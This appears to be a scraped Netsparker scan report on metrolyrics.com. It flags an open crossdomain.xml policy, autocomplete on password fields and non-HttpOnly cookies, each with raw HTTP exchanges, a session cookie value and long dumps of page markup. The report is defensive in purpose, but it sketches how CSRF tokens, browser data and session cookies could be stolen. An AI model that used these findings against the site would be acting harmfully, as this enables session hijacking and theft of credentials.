<form method="post" action="/register.php"><input class="register" name="" type="image" src="/images/n2/btn-register.jpg" /></form><br /><br /><br />
<a target="_blank" rel="nofollow" href="https://www.mcafeesecure.com/RatingVerify?ref=www.metrolyrics.com"><img width="94" height="54" border="0" src="h..
Open Policy Crossdomain.xml Identified
Open Policy Crossdomain.xml Identified
Netsparker identified Open Policy Crossdomain.xml file.
Impact
Open Policy Crossdomain.xml file allows other SWF files to make HTTP requests to your web server and see its response. This can be used for accessing one time tokens and CSRF nonces to bypass CSRF restrictions.
Configure your Crossdomain.xml to prevent access from everywhere to your domain.
External References
- /crossdomain.xml
/crossdomain.xml
CONFIRMED
|
- <allow-access-from domain="*" />
Request
GET /crossdomain.xml HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
Cookie: bblastvisit=1299460374; bbsessionhash=e10cebe70021d6be2f59d8cef6bb329f
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Accept-Ranges: bytes
ETag: "c4-4c72c0fe-0"
Last-Modified: Mon, 23 Aug 2010 18:42:06 GMT
Content-Type: application/xml
Content-Length: 196
Date: Mon, 07 Mar 2011 01:13:10 GMT
Connection: keep-alive
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><allow-access-from domain="*" /></cross-domain-policy>
Auto Complete Enabled
Auto Complete Enabled
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".
Impact
Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.
Add the attribute autocomplete="off"
to the form tag or to individual "input" fields.
Actions to Take
- See the remedy for the solution.
- Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
- Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.
Required Skills for Successful Exploitation
Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.
External References
- /request.php
/request.php
CONFIRMED
|
vb_login_password
Request
GET /request.php HTTP/1.1
Referer: http://www.metrolyrics.com/login.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
Cookie: bblastvisit=1299460374
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Server: LiteSpeed
X-Powered-By: PHP/5.3.2
Pragma: private
Content-Type: text/html; charset=utf-8
Content-Encoding:
Content-Length: 5970
Vary: Accept-Encoding
Cache-Control: private, max-age=3600
Date: Mon, 07 Mar 2011 01:12:55 GMT
Connection: keep-alive
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:addthis="http://www.addthis.com/help/api-spec" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="classification" content="music" />
<meta name="description" content="Membership is required for this function" />
<meta name="keywords" content="lyrics" />
<meta property="fb:page_id" content="81914997331" />
<title>Membership Required For This Function</title>
<link rel="icon" href="/favicon.ico" type="image/x-icon" />
<link rel="search" type="application/opensearchdescription+xml" title="metrolyrics" href="/tools/ff_search_bar.xml" />
<link href="/xml/justreleased.xml" rel="alternate" type="application/rss+xml" title="Recently Released Albums" />
<link href="/xml/futurerelease.xml" rel="alternate" type="application/rss+xml" title="Upcoming Album Releases" />
<link href="/xml/topartists.xml" rel="alternate" type="application/rss+xml" title="Top 20 Artists This Week" />
<link href="/xml/topsongs.xml" rel="alternate" type="application/rss+xml" title="Top 20 Lyrics This Week" />
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
<script type="text/javascript">
<!--//
//variables
var noEgg = false;
var nav={"activeTab":"lyrics","section":false,"sectionURL":false,"title":"Membership Required"},
//Set dev server flag
is_dev = false,
//Analytics vars
_comscore = _comscore || [],
_gaq = _gaq || [];
//end analytics vars
//end variables
//start comscore tag
_comscore.push({ c1: "2", c2: "6036538", c3: "" });
(function() {
var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
el.parentNode.insertBefore(s, el);
})();
// Google tracking
_gaq.push(
['_setAccount', 'UA-50802-1'],
['_setCustomVar',1,"User Group ID",1,2],
['_trackPageview']
);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
// End Google tracking
//page specific JS
//End page specific JS
//-->
</script>
<link href="/css/g/needmembership3.css" rel="stylesheet" type="text/css" media="screen" />
<!--[if IE 6]>
<script type="text/javascript" src="/js/iepngfix_tilebg.js"></script>
<![endif]-->
<script type="text/javascript">
__compete_code = '1980f0cd513fe80da3622c2ebed79163';
(function () {
var s = document.createElement('script'),
e = document.getElementsByTagName('script')[0],
t = document.location.protocol.toLowerCase() === 'https:' ?
'https://c.compete.com/bootstrap/' :
'http://c.compete.com/bootstrap/';
s.src = t + __compete_code + '/bootstrap.js';
s.type = 'text/javascript';
s.async = true;
if (e) { e.parentNode.insertBefore(s, e); }
}());
</script>
<!-- Quantcast Tag -->
<script type="text/javascript">
var _qevents = _qevents || [];
(function() {
var elem = document.createElement('script');
elem.src = (document.location.protocol == "https:" ? "https://secure" : "http://edge") + ".quantserve.com/quant.js";
elem.async = true;
elem.type = "text/javascript";
var scpt = document.getElementsByTagName('script')[0];
scpt.parentNode.insertBefore(elem, scpt);
})();
_qevents.push({
qacct:"p-c4eKHIvvd1eXQ"
});
</script>
<noscript>
<div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-c4eKHIvvd1eXQ.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
</noscript>
<!-- End Quantcast tag -->
</head>
<!--[if IE 6 ]><body class="ie6"><![endif]-->
<!--[if IE 7 ]><body class="ie7"><![endif]-->
<!--[if gt IE 6 ]><body><![endif]-->
<!--[if !IE]><!--><body><!--<![endif]-->
<!-- ClickTale Top part -->
<script type="text/javascript">
var WRInitTime=(new Date()).getTime();
</script>
<!-- ClickTale end of Top part -->
<div id="bg-main">
<!-- Begin comScore Tag -->
<noscript>
<div style="display:none"> <img src="http://b.scorecardresearch.com/p?c1=2&c2=6036538&c3=&c4=&c5=&c6=&c15=&cj=1" alt="scorecard tracking image"/> </div>
</noscript>
<!-- End comScore Tag -->
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_1x1;tile=1;sz=1x1;ord=1299460375?"></script>
<div id="header">
<h1>Membership Required</h1>
<div id="hdr-scroll">
<div id="hdr-scrollmenu">
<script type="text/javascript">var addthis_config = {ui_hover_direction: -1, data_ga_property: 'UA-50802-1', "data_track_clickback":true};</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=metroleap"></script>
<ul>
<li class="first"><img src="http://misc.ml-cdn.com/images/n2/loading_inline.gif" alt="Loading..." /></li>
</ul>
</div>
<div id="hdr-scrollsearch">
<form action="/search.php" method="get">
<input type="text" name="search" onclick="_gaq.push(['_trackEvent', 'Search', 'Header Dropdown Click']);if (this.value == 'Search ...') this.value=''" value="Search ..." onblur="if(this.value == '') this.value='Search ...'" id="hdr-scrollsearchip" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-scrollsearchbtn" />
</form>
</div>
</div>
<div id="headertop">
<div class="headerwrap">
<ul id="navmain">
<li id="hdr-lyrics" class="navprimaryli" data-tabname="lyrics">
<a href="/" class="navprimarya" title="Lyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Lyrics']);"><span></span>Lyrics</a>
<div id="hdr-sub-lyrics" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-artists" class="navprimaryli" data-tabname="artists">
<a href="/top-artists.html" title="Artists" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Artists']);"><span></span>Artists</a>
<div id="hdr-sub-artists" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-soundtracks" class="navprimaryli" data-tabname="soundtracks">
<a href="/soundtracks.html" title="soundtracks" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Soundtracks']);"><span></span>Soundtracks</a>
<div id="hdr-sub-soundtracks" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-news" class="navprimaryli" data-tabname="news">
<a href="/news.html" title="News" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'News']);"><span></span>News</a>
<div id="hdr-sub-news" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-apps" class="navprimaryli" data-tabname="apps">
<a href="/apps.html" title="Apps" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Apps']);"><span></span>Apps</a>
<div id="hdr-sub-apps" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-forum" class="navprimaryli" data-tabname="forum">
<a href="/forum/" title="Forum" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Forum']);"><span></span>Forum</a>
<div id="hdr-sub-forum" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-driver" class="navprimaryli">
<a href="http://itunes.apple.com/us/app/metrolyrics-pro/id370144420?mt=8" target="_blank" rel="nofollow" title="Get our iPhone App" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Driver Click', 'metrolyrics Pro App']);">Contests</a>
</li>
</ul>
<ul id="myml">
<li class="navprimaryli"><a href="/request.php" title="My MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'My MetroLyrics', 'Not logged in']);">My MetroLyrics<span></span></a></li>
<li class="navprimaryli"><div id="fb_login_btn"><fb:login-button size="small" perms="email"></fb:login-button></div><div id="fb-root"></div></li>
<li class="myml-alt myml-altfirst navprimaryli"><a href="/register.php" title="Sign Up for MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Sign Up']);">Sign Up</a></li>
<li class="myml-alt navprimaryli"><a rel="nofollow" id="login_link" class="iframe" href="/login.php" title="Login" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Log In']);">Log In</a></li>
</ul>
</div>
</div>
<div id="headermid">
<div class="headerwrap">
<div id="headerlogo"><a href="/" title="Home">MetroLyrics</a></div>
<div id="headersearch">
<form method="get" action="/search.php">
<input type="hidden" name="category" value="artisttitle" />
<input type="text" name="search" onclick="if (this.value == 'Find Your Lyrics, Artists, Videos, more...') this.value='';_gaq.push(['_trackEvent', 'Search', 'Header Main Click']);" value="Find Your Lyrics, Artists, Videos, more..." onblur="if(this.value == '') this.value='Find Your Lyrics, Artists, Videos, more...'" id="hdr-ipsearch" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-btnsearch" />
</form>
<p id="hdr-browse"></p>
</div>
</div>
</div>
<div id="headerbot">
<div class="headerwrap">
<p id="breadcrumbs">
<a href="/" id="bc-home" title="Home">Home</a> »
<a href="#" id="bc-tab"></a>
</p>
</div>
</div>
<div id="headerad">
<div id="hdrleaderboard">
</div>
<div id="hdrsocial">
<div class="addthis_default_style">
<a class="addthis_button_facebook_like" fb:like:layout="box_count" fb:like:width="48" fb:like:height="63" addthis:url="http://www.facebook.com/metrolyrics"></a>
<a class="addthis_button_tweet" tw:count="vertical" addthis:url="http://www.metrolyrics.com"></a>
<a class="addthis_counter"></a>
</div>
</div>
</div>
<div id="headercta"><a href="/register.php" title="Join MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Header', 'Join Community Image']);">Join the MetroLyrics Community Today!</a></div>
</div>
<div id="main">
<div id="LRcolumns">
<div id="left">
<div class="blueBox">
<h2>You're not signed in!</h2>
<div id="signed">
<img src="/images/n2/img-inf.jpg" alt="" />
<h3>You must be a member in order to use this section of the site!</h3>
Membership is 100% free and quick!<br />
<div id="fb_login_btn" style="margin: 5px 0 -10px 258px;"><fb:login-button size="large" perms="email"></fb:login-button></div>
<ul>
<li>
<form method="post" onsubmit="md5hash(vb_login_password,vb_login_md5password,vb_login_md5password_utf)" action="/login.php">
<input type="hidden" name="wherewasi" value="" />
<input type="hidden" name="cookieuser" value="1" id="cb_cookieuser_navbar2" accesskey="c" />
<input type="hidden" name="action" value="login" />
<input type="hidden" name="s" value="" />
<input type="hidden" name="do" value="login" />
<input type="hidden" name="forceredirect" value="1" />
<input type="hidden" name="vb_login_md5password" value="" />
<input type="hidden" name="vb_login_md5password_utf" value="" />
<h3>Already Registered?</h3>
<label>Username:</label><input name="vb_login_username" type="text" />
<label>Password:</label><input name="vb_login_password" type="password" />
<input class="btn" name="" type="image" src="/images/n2/btn-sign.jpg" />
<a href="/forum/login.php?do=lostpw">Forgot your password?</a>
</form>
</li>
<li>
<h3>Not Yet Registered?</h3>
Registration is free and easy.
<form method="post" action="/register.php"><input class="register" name="" type="image" src="/images/n2/btn-register.jpg" /></form><br /><br /><br />
<a target="_blank" rel="nofollow" href="https://www.mcafeesecure.com/RatingVerify?ref=www.metrolyrics.com"><img width="94" height="54" border="0" src="h..
Cookie Not Marked As HttpOnly
Cookie Not Marked As HttpOnly
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..
Impact
During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.
Actions to Take
- See the remedy for solution
- Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.
Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as
XSS Tunnel to bypass HTTPOnly protection.
External References
- /forum/
/forum/
CONFIRMED
|
bbsessionhash
Request
GET /forum/ HTTP/1.1
Referer: http://www.metrolyrics.com/forum/login.php?do=lostpw
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
Cookie: bblastvisit=1299460374
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Server: LiteSpeed
X-Powered-By: PHP/5.3.2
Content-Type: text/html; charset=utf-8
Content-Encoding:
Content-Length: 10856
Expires: Mon, 07 Mar 2011 01:12:56 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Mar 2011 01:12:56 GMT
Connection: keep-alive
Vary: Accept-Encoding
Set-Cookie: bbsessionhash=e10cebe70021d6be2f59d8cef6bb329f; path=/,bblastactivity=1299460375; expires=Tue, 06-Mar-2012 01:12:55 GMT; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html dir="ltr" lang="en">
<head>
<!-- CSS Stylesheet -->
<style type="text/css">
<!--
/* vBulletin 3 CSS For Style 'MetroLyrics - Default' (styleid: 1) */
body
{
background: #131F2B url(http://www.metrolyrics.com/images/n/bg-footer.jpg) repeat-x center bottom;
color: #818D92;
font: 12px Arial,Helvetica,sans-serif;
margin: 0px;
padding: 0px;
}
a:link
{
color: #3c91ca;
text-decoration: none;
}
a:visited
{
color: #3c91ca;
text-decoration: none;
}
a:hover, a:active
{
color: #3c91ca;
text-decoration: underline;
}
.page
{
background-color: #eeeeee;
color: #5a5a5a;
}
td, th, p, li
{
font-family: Arial,Helvetica,sans-serif;
}
.tborder
{
background-color: #e6e6e6;
}
.tcat
{
background-color: #b7dbf1;
color: #484848;
font: bold 10pt Arial,Helvetica,sans-serif;
padding:5px;
}
.tcat a:link
{
color: #5a5a5a;
text-decoration: none;
}
.tcat a:visited
{
color: #5a5a5a;
text-decoration: none;
}
.tcat a:hover, .tcat a:active
{
color: #5a5a5a;
text-decoration: underline;
}
.thead
{
background-color: #cee7f7;
color: #5a5a5a;
font: bold 11px Arial,Helvetica,sans-serif;
}
.thead a:link
{
color: #5a5a5a;
}
.thead a:visited
{
color: #5a5a5a;
}
.thead a:hover, .thead a:active
{
color: #5a5a5a;
}
.tfoot
{
background-color: #b7dbf1;
color: #5a5a5a;
}
.tfoot a:link
{
color: #5a5a5a;
}
.tfoot a:visited
{
color: #5a5a5a;
}
.tfoot a:hover, .tfoot a:active
{
color: #5a5a5a;
}
.alt1, .alt1Active
{
background-color: #ffffff;
color: #5a5a5a;
font-size: 12px;
line-height:18px;
border-bottom:1px solid #e6e6e6;
padding:6px 5px;
}
.alt2, .alt2Active
{
background-color: #f7faff;
color: #5a5a5a;
font-size: 12px;
line-height:18px;
border-bottom:1px solid #e6e6e6;
padding:6px 5px;
}
.wysiwyg
{
background-color: #FFFFFF;
color: #5a5a5a;
font: 10pt Arial,Helvetica,sans-serif;
}
textarea, .bginput
{
background-color: #eeeeee;
font: 10pt Arial,Helvetica,sans-serif;
border:1px solid #d7d7d7;
padding:5px;
margin-top:5px;
margin-bottom:5px;
}
.button
{
background-color: #ff7e05;
color: #ffffff;
font: 12px Arial,Helvetica,sans-serif;
border: 0;
background-image: -webkit-gradient(linear, left top, left bottom, from(#ffb86c), to(#ff7e05));
background-image: -moz-linear-gradient(top, #ffb86c, #ff7e05);
padding: 3px 8px;
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
font-weight: bold;
text-transform: uppercase;
text-decoration: none;
vertical-align: middle;
}
select
{
font: 11px Arial,Helvetica,sans-serif;
}
option, optgroup
{
font-size: 11px;
font-family: Arial,Helvetica,sans-serif;
}
.smallfont
{
font: 11px Arial,Helvetica,sans-serif;
line-height:18px;
}
.time
{
color: #3C3D48;
font-weight: bold;
}
.navbar
{
font: 11px Arial,Helvetica,sans-serif;
}
.highlight
{
color: #3C3D48;
font-weight: bold;
}
.fjsel
{
background-color: #3C3D48;
color: #C9CED8;
}
.fjdpth0
{
background-color: #F7F7F7;
color: #5a5a5a;
}
.panel
{
color: #5a5a5a;
padding: 10px;
}
.panelsurround
{
background-color: #ffffff;
color: #5a5a5a;
border:1px solid #e6e6e6;
border-bottom:2px solid #d7d7d7;
}
legend
{
color: #5a5a5a;
font: bold 13px Arial,Helvetica,sans-serif;
}
.vbmenu_control
{
background-color: #cee7f7;
color: #5a5a5a;
font: bold 11px Arial,Helvetica,sans-serif;
padding: 3px 6px 3px 6px;
white-space: nowrap;
}
.vbmenu_control a:link
{
color: #5a5a5a;
text-decoration: none;
}
.vbmenu_control a:visited
{
color: #5a5a5a;
text-decoration: none;
}
.vbmenu_control a:hover, .vbmenu_control a:active
{
color: #5a5a5a;
text-decoration: underline;
}
.vbmenu_popup
{
background-color: #e6e6e6;
color: #5a5a5a;
}
.vbmenu_option
{
background-color: #ffffff;
color: #484848;
font: 11px Arial,Helvetica,sans-serif;
white-space: nowrap;
cursor: pointer;
padding:8px;
}
.vbmenu_option a:link
{
color: #5a5a5a;
text-decoration: none;
}
.vbmenu_option a:visited
{
color: #5a5a5a;
text-decoration: none;
}
.vbmenu_option a:hover, .vbmenu_option a:active
{
color: #5a5a5a;
text-decoration: none;
}
.vbmenu_hilite
{
background-color: #e6e6e6;
color: #5a5a5a;
font: 11px Arial,Helvetica,sans-serif;
white-space: nowrap;
cursor: pointer;
padding:8px;
}
.vbmenu_hilite a:link
{
color: #5a5a5a;
text-decoration: none;
}
.vbmenu_hilite a:visited
{
color: #5a5a5a;
text-decoration: none;
}
.vbmenu_hilite a:hover, .vbmenu_hilite a:active
{
color: #5a5a5a;
text-decoration: none;
}
/* ***** styling for 'big' usernames on postbit etc. ***** */
.bigusername { font-size: 16px;color:#f19403; }
/* ***** small padding on 'thead' elements ***** */
td.thead, div.thead { padding: 4px; }
/* ***** basic styles for multi-page nav elements */
.pagenav a { text-decoration: none; }
.pagenav td { padding: 2px 4px 2px 4px; }
/* ***** define margin and font-size for elements inside panels ***** */
.fieldset { margin-bottom: 6px; }
.fieldset, .fieldset td, .fieldset p, .fieldset li { font-size: 11px; }
/* ***** don't change the following ***** */
form { display: inline; }
label { cursor: default; }
.normal { font-weight: normal; }
.inlineimg { vertical-align: middle; }
table {float:none!important;}
tr {padding:5px 0; }
/*td, th, p, li {padding:5px; }*/
.Section {padding:0 15px; }
.forum_stats {text-align:right;font-size:11px;}
.fl {float:left;}
.fr {float:right;}
.cl {clear:both;}
.fieldset {
border:0 none;
padding:5px 15px 15px 0;
width:345px;
}
#posts {
padding:15px 15px 0 15px;
background:#eeeeee;
border:1px solid #dadada;
margin:0 2px;
border-top:0;
border-bottom:0;
}
.postbit-wrapper {
margin: 0 0 20px 0;
}
.postbit {
margin-left:160px;
}
.postbit_alt {
background:#f7faff;
padding:15px;
border:1px solid #e6e6e6;
border-top:0;
}
.userbit {
padding:0 20px;
width:120px;
float:left;
}
.messagearea {
background:#ffffff;
border:1px solid #dadada;
padding:15px;
}
.controls {
}
.tcatcon {
padding-left:5px;
}
.postbit_userinfo_wrapper {
border:1px solid #e6e6e6;
border-bottom:2px solid #d7d7d7;
}
.postbit_userinfo {
background:#ffffff url(styles/metrolyrics/misc/alt3.gif) repeat-x top;
border:1px solid #ffffff;
padding:15px 25px 10px;
}
.postbit_bubbleimage {
float:left;
margin-top:20px;
}
.postbit_message {
background:#ffffff;
border:1px solid #e6e6e6;
border-bottom:2px solid #d7d7d7;
padding:15px 15px 5px 15px;
margin-left:21px;
min-height:271px;
}
.postbit_controls {
margin-top:15px;
}
.smallerfont {
font-size:10px;
}
.bigusername {
font-size:16px;
color:#f19403;
text-decoration:underline;
}
.bigusername a{
color:#f19403;
text-decoration:underline;
}
.bigusername a:hover {
color:#f19403;
text-decoration:none;
}
.avatarwrap {
background:#afafaf;
color:#FFFFFF;
font-weight:bold;
margin-top:10px;
padding-top:2px;
text-align:center;
width:84px;
}
.vbmenu_option img {
margin-right:5px;
}
.vbmenu_hilite img {
margin-right:5px;
}
.tcat_bg {
background: url(styles/metrolyrics/misc/tcat_bg.gif) no-repeat top left;
height:43px;
padding:2px 15px 0;
color:#ffffff;
text-decoration:none;
font-size:14px;
font-weight:bold;
}
.tcat_bg a {
color:#ffffff;
text-decoration:none;
}
.tcat_bg a:hover {
color:#ffffff;
text-decoration:underline;
}
.tcat_bg_home {
background: url(styles/metrolyrics/misc/tcat_bg.gif) no-repeat top left;
height:32px;
padding:13px 15px 0px 15px;
color:#ffffff;
text-decoration:none;
font-size:14px;
font-weight:bold;
}
.tcat_bg_home a {
color:#ffffff;
text-decoration:none;
}
.tcat_bg_home a:hover {
color:#ffffff;
text-decoration:underline;
}
.tcat_bg_small {
background: url(styles/metrolyrics/misc/tcat_bg.gif) no-repeat top left;
height:32px;
padding:13px 15px 0px 15px;
color:#ffffff;
text-decoration:none;
font-size:14px;
font-weight:bold;
}
.tcat_bg_small a {
color:#ffffff;
text-decoration:none;
}
.tcat_bg_small a:hover {
color:#ffffff;
text-decoration:underline;
}
.tcat_bg_smaller {
background: url(styles/metrolyrics/misc/tcat_bg_smaller.gif) no-repeat top left;
height:32px;
padding:13px 15px 0px 15px;
color:#ffffff;
text-decoration:none;
font-size:14px;
font-weight:bold;
}
.tcat_bg_smaller a {
color:#ffffff;
text-decoration:none;
}
.tcat_bg_smaller a:hover {
color:#ffffff;
text-decoration:underline;
}
.tcat_coll {
float:right;
position:relative;
top:8px;
}
label {
line-height:20px;
}
.inlineimgtop {
vertical-align:top;
}
.tborder2 {
background:#ffffff;
border:1px solid #e6e6e6;
border-bottom:2px solid #d7d7d7;
}
.forumtitle {
color:#f19403!important;
text-decoration:none!important;
font-size:14px;
font-weight:bold;
}
.forumtitle a {
color:#f19403!important;
text-decoration:none!important;
}
.forumtitle:hover {
color:#ea3403;
text-decoration:none;
}
.threadtitle {
color:#f19403;
text-decoration:none;
font-size:12px;
font-weight:bold;
}
.threadtitle a {
color:#f19403;
text-decoration:none;
}
.threadtitle a:hover {
color:#ea3403;
text-decoration:none;
}
.memberlink a {
font-weight:bold;
}
.memberlink a:hover {
text-decoration:underline;
}
.bginput:focus {
background:#fee6ce;
border:1px solid #f7b54d;
}
.fieldset { border:0; }
.padding10 {
padding:6px;
}
.crumbtrail-nav {
padding:5px 10px 5px;
margin-bottom: 15px;
background:#fafafa;
color:#484647!important;
font-weight: bold;
}
.crumbtrail-nav a:link, .crumbtrail-nav_alink, .crumbtrail-navActive a:link, .crumbtrail-navActive_alink
{
font-weight: bold;
text-decoration: none;
color:#F19403!important;
}
.crumbtrail-nav a:visited, .crumbtrail-nav_avisited, .crumbtrail-navActive a:visited, .crumbtrail-navActive_avisited
{
font-weight: bold;
text-decoration: none;
color:#F19403!important;
}
.crumbtrail-nav a:hover, .crumbtrail-nav a:active, .crumbtrail-nav_ahover, .crumbtrail-navActive a:hover, .crumbtrail-navActive a:active, .crumbtrail-navActive_ahover
{
font-weight: bold;
text-decoration: underline;
color:#EA3403!important;
}
.crumbtrail-nav ul {
list-style:none;
margin:0;
padding:0;
font-weight: bold;
}
.crumbtrail-nav ul li {
display:inline;
line-height: normal;
float: none;
font-weight: bold;
}
.crumbtrail-nav ul li a {
text-decoration:none;
float: none;
display: inline;
border: none;
font-size: 1em;
font-weight: normal;
padding: 0;
color:#F19403!important;
}
.crumbtrail-nav ul li.bold a {
font-weight:bold;
color:#F19403;
}
.crumbtrail-nav ul li:HOVER {
background: none;
padding: 0;
}
.crumbtrail-nav ul li:HOVER A{
padding: 0;
}
.crumbtrail-nav ul li a:HOVER {
text-decoration:underline;
background: none;
padding: 0;
}
.tborder3 {
background-color:none;
}
.tcat2 {
background-color:#ffcd74;
color:#dc6f00;
font:bold 10pt Arial,Helvetica,sans-serif;
padding:5px;
}
.alt3 {
background-color:#fff6cf;
color:#5A5A5A;
font-size:12px;
line-height:18px;
padding:10px 5px;
}
.alt3 a {
color:#ea3403;
text-decoration:none;
}
.alt3 a:hover {
color:#ea3403;
text-decoration:underline;
}
select {
padding:2px!important;
color:#616161!important;
border:1px solid #D8D8D8!important;
}
.editor-con td {
padding:2px;
}
#vBulletin_editor {
border:1px solid #e6e6e6!important;
}
#htmlbox {
border:1px inset #e6e6e6!important;
}
blockquote ul {
list-style:none outside none;
margin-left:15px;
padding-top:5px;
}
blockquote ul li {
padding-top:5px;
}
ol {
margin-left:35px;
margin-top:15px;
margin-bottom:15px;
}
-->
</style>
<!-- / CSS Stylesheet -->
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
<script type="text/javascript">
<!--
var SESSIONURL = "";
var IMGDIR_MISC = "styles/metrolyrics/misc";
// -->
</script>
<script type="text/javascript" src="/js/sumenu.js"></script>
<link rel="icon" href="/favicon.ico" type="image/x-icon" />
<script type="text/javascript" src="/forum/clientscript/vbulletin_global.js"></script>
<script type="text/javascript" src="/forum/clientscript/vbulletin_menu.js"></script>
<link href="/css/g/common.css" rel="stylesheet" type="text/css" media="screen"/>
<script type="text/javascript">
var hasAvatar = true;
//Nav variables
var nav={"isinforum":true};
//end Nav variables
//start comscore tag
var _comscore = _comscore || [];
_comscore.push({ c1: "2", c2: "6036538", c3: "" });
(function() {
var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
el.parentNode.insertBefore(s, el);
})();
// Google tracking
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-50802-1']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
// End Google tracking
//-->
</script>
<script type="text/javascript">
<!--//
try {
var pageTracker = _gat._getTracker("UA-50802-1");
pageTracker._setCustomVar(1,"User Group ID",1,2);
var is_dev = 0;
pageTracker._trackPageview();
} catch(err) {}
// End Google tracking
//page specific JS
//End page specific JS
//-->
</script>
<!-- no cache headers -->
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Expires" content="-1" />
<meta http-equiv="Cache-Control" content="no-cache" />
<!-- end no cache headers -->
